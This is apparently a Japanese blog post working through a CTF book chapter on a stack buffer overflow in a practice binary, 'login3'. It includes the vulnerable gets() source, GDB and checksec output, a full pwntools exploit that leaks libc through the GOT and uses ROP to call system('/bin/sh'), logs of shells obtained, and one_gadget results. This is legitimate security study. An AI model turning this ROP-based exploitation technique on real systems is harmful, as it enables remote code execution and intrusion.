前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。
今回は、第4章の「login3(スタックバッファオーバーフロー3)」を読んでいきたいと思います。
それでは、やっていきます。
参考文献
今回、題材にさせて頂いた「解題pwnable」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ
・第59回:書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ
・第60回:書籍「解題pwnable」の第4章「login3(スタックバッファオーバーフロー3)」を読んだ ← 今回
以下は、の公式サイトです。特に追加の情報はありませんでした。
また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。
https://hub.docker.com/r/kusanok/ctfpwn
では、書籍の章を参考に書き進めていきます。
第4章:login3(スタックバッファオーバーフロー3)
4.1:問題の概要
ソースコード(login3.c)と、プログラムバイナリ(login3)、libc(libc-2.31.so)が提供されています。
初回 で紹介したように、docker を起動しておき、ブラウザにアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

実践
まずは、自力でやっていきます。
実行権限を付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。今回は、libc-2.31.so が提供されているので不要かもしれませんが、一応準備しておきます。
あと、表層解析します。NX disable なので、メモリ上のコードを実行できます。
$ chmod +x login3 $ cp ./login3 ./login3_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./login3_patch $ ldd login3 linux-vdso.so.1 (0x00007ffd45f86000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3281929000) /lib64/ld-linux-x86-64.so.2 (0x00007f3281b25000) $ file login3_patch login3_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=b44231ea75df75583d86800fca2461911c7fb436, not stripped $ ~/bin/checksec --file=login3_patch RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH RW-RUNPATH 70 Symbols No 0 2 login3_patch $ pwn checksec --file=login3_patch [*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No
実行してみます。
問題文は、「You can login. So what?」です。ソースコードを見ると、ID は admin のようなので、そちらでも実行してみます。成功しましたが、フラグは表示されません。シェルを取る必要がありそうです。
$ ./login3 ID: aaa Invalid ID $ ./login3 ID: admin Login Succeeded
ソースコード(login3.c)を見ていきます。
setup関数は、環境準備です。main関数を見ると、ID は admin であることが分かります。
ローカル変数の id は、スタックバッファオーバーフローを起こせそうです。セキュリティ機構としては、シェルコードの実行が可能ですが、スタックのアドレスが必要になります。もしくは、リターンアドレスを書き換えて、ROP を実行して、printf関数で、GOT の値を読み出して、libc のアドレスを算出し、main関数に戻して、次の ROP で、system関数を実行する、ということができる可能性があります。
// gcc login3.c -o login3 -fno-stack-protector -no-pie -fcf-protection=none #include <stdio.h> #include <string.h> #include <unistd.h> char *gets(char *s); void setup() { alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main() { char id[0x20] = ""; setup(); printf("ID: "); gets(id); if (strcmp(id, "admin") == 0) printf("Login Succeeded\n"); else printf("Invalid ID\n"); }
GDB で起動して、スタックの状況を確認します。
$ gdb -q login3_patch Reading symbols from login3_patch... pwndbg> start Temporary breakpoint 1 at 0x4011e5 pwndbg> disassemble Dump of assembler code for function main: 0x00000000004011e1 <+0>: push rbp 0x00000000004011e2 <+1>: mov rbp,rsp => 0x00000000004011e5 <+4>: sub rsp,0x20 0x00000000004011e9 <+8>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004011f1 <+16>: mov QWORD PTR [rbp-0x18],0x0 0x00000000004011f9 <+24>: mov QWORD PTR [rbp-0x10],0x0 0x0000000000401201 <+32>: mov QWORD PTR [rbp-0x8],0x0 0x0000000000401209 <+40>: mov eax,0x0 0x000000000040120e <+45>: call 0x401176 <setup> 0x0000000000401213 <+50>: lea rdi,[rip+0xdea] # 0x402004 0x000000000040121a <+57>: mov eax,0x0 0x000000000040121f <+62>: call 0x401040 <printf@plt> 0x0000000000401224 <+67>: lea rax,[rbp-0x20] 0x0000000000401228 <+71>: mov rdi,rax 0x000000000040122b <+74>: call 0x401070 <gets@plt> 0x0000000000401230 <+79>: lea rax,[rbp-0x20] 0x0000000000401234 <+83>: lea rsi,[rip+0xdce] # 0x402009 0x000000000040123b <+90>: mov rdi,rax 0x000000000040123e <+93>: call 0x401060 <strcmp@plt> 0x0000000000401243 <+98>: test eax,eax 0x0000000000401245 <+100>: jne 0x401255 <main+116> 0x0000000000401247 <+102>: lea rdi,[rip+0xdc1] # 0x40200f 0x000000000040124e <+109>: call 0x401030 <puts@plt> 0x0000000000401253 <+114>: jmp 0x401261 <main+128> 0x0000000000401255 <+116>: lea rdi,[rip+0xdc3] # 0x40201f 0x000000000040125c <+123>: call 0x401030 <puts@plt> 0x0000000000401261 <+128>: mov eax,0x0 0x0000000000401266 <+133>: leave 0x0000000000401267 <+134>: ret End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x20 | 32 | id[32](rsp) |
| rbp |
シェルを取るためのシェルコードは、48byte 必要でした。id配列に置くのは厳しいので、リターンアドレス以降に置く必要がありますが、スタックの領域を超えないかが少し心配です。
確認したところ、大丈夫そうです。
pwndbg> i r $rsp rsp 0x7fffffffdd30 0x7fffffffdd30 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x3ff000 0x400000 rw-p 1000 0 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x400000 0x401000 r--p 1000 1000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x401000 0x402000 r-xp 1000 2000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x402000 0x403000 r--p 1000 3000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x403000 0x404000 r--p 1000 3000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x404000 0x405000 rw-p 1000 4000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch 0x7ffff7dd5000 0x7ffff7dfa000 r--p 25000 0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7dfa000 0x7ffff7f72000 r-xp 178000 25000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7f72000 0x7ffff7fbc000 r--p 4a000 19d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fbc000 0x7ffff7fbd000 ---p 1000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fbd000 0x7ffff7fc0000 r--p 3000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fc0000 0x7ffff7fc3000 rw-p 3000 1ea000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fc3000 0x7ffff7fc9000 rw-p 6000 0 [anon_7ffff7fc3] 0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar] 0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso] 0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
しかし、id配列のアドレスを取得するのが難しそうです。
次に、ROP を考えてみます。特に問題は無さそうです。内容は、上で言った通りです。スタックバッファオーバーフローを発生させて、リターンアドレスに ROPガジェットを配置します。ROPガジェットの内容は、printf関数で、GOT の値を読み出して、libc のアドレスを算出し、main関数に戻して、次の ROP で、system関数を実行します。
エクスプロイトコードを実装しました。
#!/usr/bin/env python3 from pwn import * bin_file = './login3_patch' context(os = 'linux', arch = 'amd64') context(terminal = ['tmux', 'splitw', '-h']) context.log_level = 'debug' binf = ELF( bin_file ) libc = binf.libc offset_libc_setvbuf = libc.functions['setvbuf'].address addr_got_setvbuf = binf.got['setvbuf'] def attack( proc, **kwargs ): rop = ROP( binf ) rop.raw( rop.ret ) # 16byteアライメントのため rop.printf( addr_got_setvbuf ) rop.raw( rop.ret ) # 16byteアライメントのため rop.main() proc.sendlineafter( 'ID: ', b'a' * 32 + p64(0xdeadbeaf) + bytes(rop) ) proc.recvuntil( "Invalid ID" ) proc.recv(1) addr_libc_setvbuf = unpack( proc.recv(6), 'all' ) libc.address = addr_libc_setvbuf - offset_libc_setvbuf info( f"addr_libc_base = {libc.address:#x}, addr_libc_setvbuf={addr_libc_setvbuf:#x}" ) addr_libc_str_sh = next( libc.search(b'/bin/sh') ) rop = ROP( libc ) rop.raw( rop.ret ) rop.system( addr_libc_str_sh ) proc.sendlineafter('ID: ', b'a' * 32 + p64(0xdeadbeaf) + bytes(rop) ) #info( proc.recvall() ) def main(): adrs = "localhost" port = 10003 #proc = gdb.debug( bin_file ) #proc = process( bin_file ) proc = remote( adrs, port ) attack( proc ) proc.interactive() if __name__ == '__main__': main()
実行してみます。
無事に、シェルが取れました。
$ python exploit_login3.py [*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No [*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Starting local process './login3_patch' argv=[b'./login3_patch'] : pid 1477731 [*] Loaded 14 cached gadgets for './login3_patch' /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x4 bytes: b'ID: ' [DEBUG] Sent 0x59 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 xaaaaxaaaaxaaaaxaaaax * 00000020 af be ad de 00 00 00 00 1a 10 40 00 00 00 00 00 x····x····x··@·x····x 00000030 d3 12 40 00 00 00 00 00 40 40 40 00 00 00 00 00 x··@·x····x@@@·x····x 00000040 40 10 40 00 00 00 00 00 1a 10 40 00 00 00 00 00 x@·@·x····x··@·x····x 00000050 e1 11 40 00 00 00 00 00 0a x··@·x····x·x 00000059 /home/user/svn/experiment/kaidai_pwnable/chapter4/exploit_login3.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( "Invalid ID" ) [DEBUG] Received 0x15 bytes: 00000000 49 6e 76 61 6c 69 64 20 49 44 0a 60 3e fe 66 d6 xInvaxlid xID·`x>·f·x 00000010 7f 49 44 3a 20 x·ID:x x 00000015 [*] addr_libc_base = 0x7fd666f5c000, addr_libc_setvbuf=0x7fd666fe3e60 [*] Loaded 200 cached gadgets for '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' [DEBUG] Sent 0x49 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 xaaaaxaaaaxaaaaxaaaax * 00000020 af be ad de 00 00 00 00 79 16 f8 66 d6 7f 00 00 x····x····xy··fx····x 00000030 72 2b f8 66 d6 7f 00 00 aa 35 11 67 d6 7f 00 00 xr+·fx····x·5·gx····x 00000040 10 14 fb 66 d6 7f 00 00 0a x···fx····x·x 00000049 [*] Switching to interactive mode [DEBUG] Received 0xb bytes: b'Invalid ID\n' Invalid ID $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x46 bytes: b'core exploit_login3.py libc-2.31.so login3 login3.c login3_patch\n' core exploit_login3.py libc-2.31.so login3 login3.c login3_patch $ [*] Stopped process './login3_patch' (pid 1477731)
サーバの方もやってみます。こちらも成功しました。
$ python exploit_login3.py [*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No [*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Opening connection to localhost on port 10003: Done [*] Loaded 14 cached gadgets for './login3_patch' /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x4 bytes: b'ID: ' [DEBUG] Sent 0x59 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 xaaaaxaaaaxaaaaxaaaax * 00000020 af be ad de 00 00 00 00 1a 10 40 00 00 00 00 00 x····x····x··@·x····x 00000030 d3 12 40 00 00 00 00 00 40 40 40 00 00 00 00 00 x··@·x····x@@@·x····x 00000040 40 10 40 00 00 00 00 00 1a 10 40 00 00 00 00 00 x@·@·x····x··@·x····x 00000050 e1 11 40 00 00 00 00 00 0a x··@·x····x·x 00000059 /home/user/svn/experiment/kaidai_pwnable/chapter4/exploit_login3.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( "Invalid ID" ) [DEBUG] Received 0x15 bytes: 00000000 49 6e 76 61 6c 69 64 20 49 44 0a 60 de f6 e6 3b xInvaxlid xID·`x···;x 00000010 7f 49 44 3a 20 x·ID:x x 00000015 [*] addr_libc_base = 0x7f3be6ee6000, addr_libc_setvbuf=0x7f3be6f6de60 [*] Loaded 200 cached gadgets for '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' [DEBUG] Sent 0x49 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 xaaaaxaaaaxaaaaxaaaax * 00000020 af be ad de 00 00 00 00 79 b6 f0 e6 3b 7f 00 00 x····x····xy···x;···x 00000030 72 cb f0 e6 3b 7f 00 00 aa d5 09 e7 3b 7f 00 00 xr···x;···x····x;···x 00000040 10 b4 f3 e6 3b 7f 00 00 0a x····x;···x·x 00000049 [*] Switching to interactive mode [DEBUG] Received 0xb bytes: b'Invalid ID\n' Invalid ID $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x1a bytes: b'flag.txt\n' b'login3\n' b'login3.sh\n' flag.txt login3 login3.sh $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x17 bytes: b'FLAG{vOvF4gQyzrRq50eH}\n' FLAG{vOvF4gQyzrRq50eH} $ [*] Closed connection to localhost port 10003

4.2:One-gadget RCE
ここでは、One-gadget RCE を探してくれる、one_gadge というツールの説明がされています。libc内には、そこにジャンプするだけでシェルを起動できる場所(アドレス)があります。libc のバージョンが変われば、そのアドレスも変わりますが、このアドレスのことを One-gadget RCE と言うそうです。
one_gadget は、第1章の「準備」で、必要なツールということで紹介されていましたが、私自身はスルーしていました。one_gadget は、Ruby のツールなので、Ruby の環境を準備することが気が進まなかったからです。しっかり説明してくれているので、これを機にやってみようと思います。
まず、Parrot OS 6.1 に、Ruby の環境が入っているかを確認します。
既にインストールされてそうです(Parrot OS は、やはり優秀だと思います)。試しに、簡単なワンライナーを動かしてみると、無事に動きました。
$ ruby -v ruby 3.1.2p20 (2022-04-12 revision 4491bb740a) [x86_64-linux-gnu] $ ruby -e 'print "\x46^x13\x00\x00"' | hexdump -C 00000000 46 5e 78 31 33 00 00 |F^x13..| 00000007
では、one_gadget をインストールしてみます。問題なさそうです。
$ sudo gem install one_gadget Fetching bindata-2.5.1.gem Fetching elftools-1.3.1.gem Fetching one_gadget-1.10.0.gem Successfully installed bindata-2.5.1 Successfully installed elftools-1.3.1 Successfully installed one_gadget-1.10.0 Parsing documentation for bindata-2.5.1 Installing ri documentation for bindata-2.5.1 Parsing documentation for elftools-1.3.1 Installing ri documentation for elftools-1.3.1 Parsing documentation for one_gadget-1.10.0 Installing ri documentation for one_gadget-1.10.0 Done installing documentation for bindata, elftools, one_gadget after 28 seconds 3 gems installed $ one_gadget -v OneGadget Version 1.10.0
今回、配布されていた libc(libc-2.31.so)を使って、One-gadget RCE を探して見たいと思います。
いくつか見つかりました。constraints は、この One-gadget RCE を使うための条件で、これを満たす必要があります。例えば、先頭の 0xe6aee の場合、r15 と r12 をそれらしい値か、NULL に設定してから、この One-gadget RCE のアドレスにジャンプする必要があるということです。
One-gadget RCE を使うことで、シェルの起動が気軽に行えるようになりました。
$ one_gadget libc-2.31.so 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
4.3:ASLRとASLRの回避
ここでは、ASLR(Address Space Layout Randomization)についての説明と、その回避方法について解説されています。
ALSR は、共有ライブラリ、ヒープ、スタックの位置が、実行するたびに、ランダムに変更される仕組みです。
ASLR の回避については、GOT に libc のアドレスがあるので、このアドレスをリークすればいい、という内容が書かれていました。
4.4:Return-oriented programming
タイトルの略が、ROP です。
ここでは、ROP についての説明と、特に、今回の問題の攻略のためには、どのような ROPガジェットを作ればいいか、ということが説明されています。
基本的な内容が多いので、割愛します。
4.5:攻略
今回の問題に対する攻略方法が解説されています。ROP を使って、printf関数の GOT を puts関数で出力して、いったん、main関数にジャンプさせます。libc のベースアドレスを計算して、次の入力の ROP で、One-gadget RCE を設定して、シェルを取っています。
まぁ、だいたい同じですね。
ただ、One-gadget RCE について、いろいろ書かれています。まず、RubyGems(gem)を使って、one_gadget をインストールした場合、全てのバージョンを試したけど、glibc-2.31 の場合は、うまくいかなかったとのことです。そこで、GitHub のソースからビルドして、ようやく有効な One-gadget RCE が見つかったとのことです。私は、やはり、One-gadget RCE は使わないことにします。
4.6:pwntools
上の 4.5 のエクスプロイトコードは、pwntools を使った実装ではありませんでした。
ここでは、4.5 のエクスプロイトコードを、pwntools を使って実装し直されていて、それについて、解説されています。
特に目新しい記述もなかったので、割愛します。
以上で、第4章「login3(スタックバッファオーバーフロー3)」は終了です。
おわりに
引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第4章「login3(スタックバッファオーバーフロー3)」をやりました。
次回は、第5章「rot13(書式文字列攻撃)」を進める予定です。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。